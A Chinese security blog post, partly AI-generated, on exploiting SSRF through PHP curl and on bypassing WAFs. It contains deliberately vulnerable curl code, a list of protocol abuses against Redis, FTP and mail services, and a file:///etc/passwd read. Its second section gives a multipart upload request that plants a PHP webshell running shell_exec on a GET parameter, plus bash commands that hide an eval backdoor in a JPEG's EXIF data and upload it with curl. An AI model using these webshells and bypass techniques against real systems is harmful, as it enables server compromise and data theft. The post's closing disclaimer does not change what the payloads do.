Curl 导致 SSRF 及 WAF 绕过方式

本文深入探讨了Curl漏洞如何被用于SSRF攻击,不仅解释了基本原理,还详细列举了多种利用方式,包括操作Redis、任意文件读取、FTP爆破等,并介绍了如何绕过WAF进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Curl 漏洞

背景

SSRF 一般用来探测内网服务,但由于应用层使用的 Request 服务(curl/filegetcontents)一般不只是支持 HTTP/HTTPS,导致可以深层次利用。

漏洞代码

function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $re = curl_exec($ch);
    curl_close($ch);
    return $re;
}
$url = $_GET['url'];
echo curl($url);

利用方式

  • dict (操作 Redis)
  • file (任意文件读取)
  • ftp、ftps (FTP 爆破)
  • tftp(UDP 协议扩展)
  • gopher (操作 Redis、Memcached)
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • rtsp
  • smb/smbs (连接 SMB)
  • telnet - 连接 SSH/Telnet
  • http、https - 内网服务探测
    • 网络服务探测
    • ShellShock 命令执行
    • JBOSS 远程 Invoker war 命令执行
    • Java 调试接口命令执行
    • axis2-admin 部署 Server 命令执行
    • Jenkins Scripts 接口命令执行
    • Confluence SSRF
    • Struts2 一堆命令执行
    • counchdb WEB API 远程命令执行
    • mongodb SSRF
    • docker API 远程命令执行
    • php_fpm/fastcgi 命令执行
    • tomcat 命令执行
    • Elasticsearch 引擎 Groovy 脚本命令执行
    • WebDav PUT 上传任意文件
    • WebSphere Admin 可部署 war 间接命令执行
    • Apache Hadoop 远程命令执行
    • zentoPMS 远程命令执行
    • HFS 远程命令执行
    • glassfish 任意文件读取和 war 文件部署间接命令执行

访问 http://test/test.php?url=http://www.baidu.com

url 改成 file:///etc/passwd (权限够的前提下)

如果知道网站目录,则可以读取网站配置文件

绕过 WAF

当 url 里出现 file:///etc/passwd 等敏感内容的时候,WAF 会拦截行为
我想到的思路是获取源站 IP,直接将请求发送到源站上。

url 改成自己的网站

查一下网站日志文件 access.log

拿到源站 IP 后,通过 Burp 修改请求即可绕过 cdn,绕过 Waf

### 绕过Nginx WAF实现文件上传的技术方法 #### multipart协议特性利用 在一个基于`multipart/form-data`编码类型的HTTP POST请求里,能够一次性提交多份文档资源给服务器处理。部分Web应用防火墙(WAF),例如某些配置下的Nginx集成的安全模块,在审核此类请求时可能仅针对首个附件实施检测逻辑,而忽视后续附加的数据块。这意味着如果恶意用户将特制的有效载荷置于非首位的位置,则有可能成功规避初步筛查机制[^1]。 ```http POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="benign.txt" Content-Type: text/plain This is a benign file. ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="malicious.php" Content-Type: application/octet-stream <?php echo shell_exec($_GET['cmd']); ?> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` 上述示例展示了通过构造包含两个文件字段(`file`)的表单数据来尝试绕开前端过滤器的情况。其中第二个文件携带了潜在危险代码片段,旨在当被不当执行时触发远程命令注入漏洞。 #### 文件扩展名与MIME类型混淆 对于那些依赖于静态分析(比如检查文件头签名或验证声明的内容类型)来进行防护措施部署的服务端组件来说,改变上传对象的实际属性也可能成为一种有效的对抗手段之一。具体操作上可以通过修改PHP脚本伪装成图像格式的方式绕过基本的身份认证流程: ```bash echo "<?php phpinfo(); ?>" > evil.jpg exiftool -Comment="<?php eval(\$_REQUEST['c']);?>" evil.jpg curl --form "image=@evil.jpg" http://target/upload ``` 这里先创建了一个看似正常的JPEG图形文件但实际上内嵌有可被执行的PHP指令;接着借助ExifTool工具向该图片添加注释标签作为隐藏通道传递额外信息;最后再经由CURL模拟浏览器行为完成整个递交动作[^2]。 需要注意的是,以上讨论均出于学术研究目的,并不鼓励任何非法入侵活动。合法合规地开展安全测试工作应当遵循相关法律法规以及获得授权许可的前提下进行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值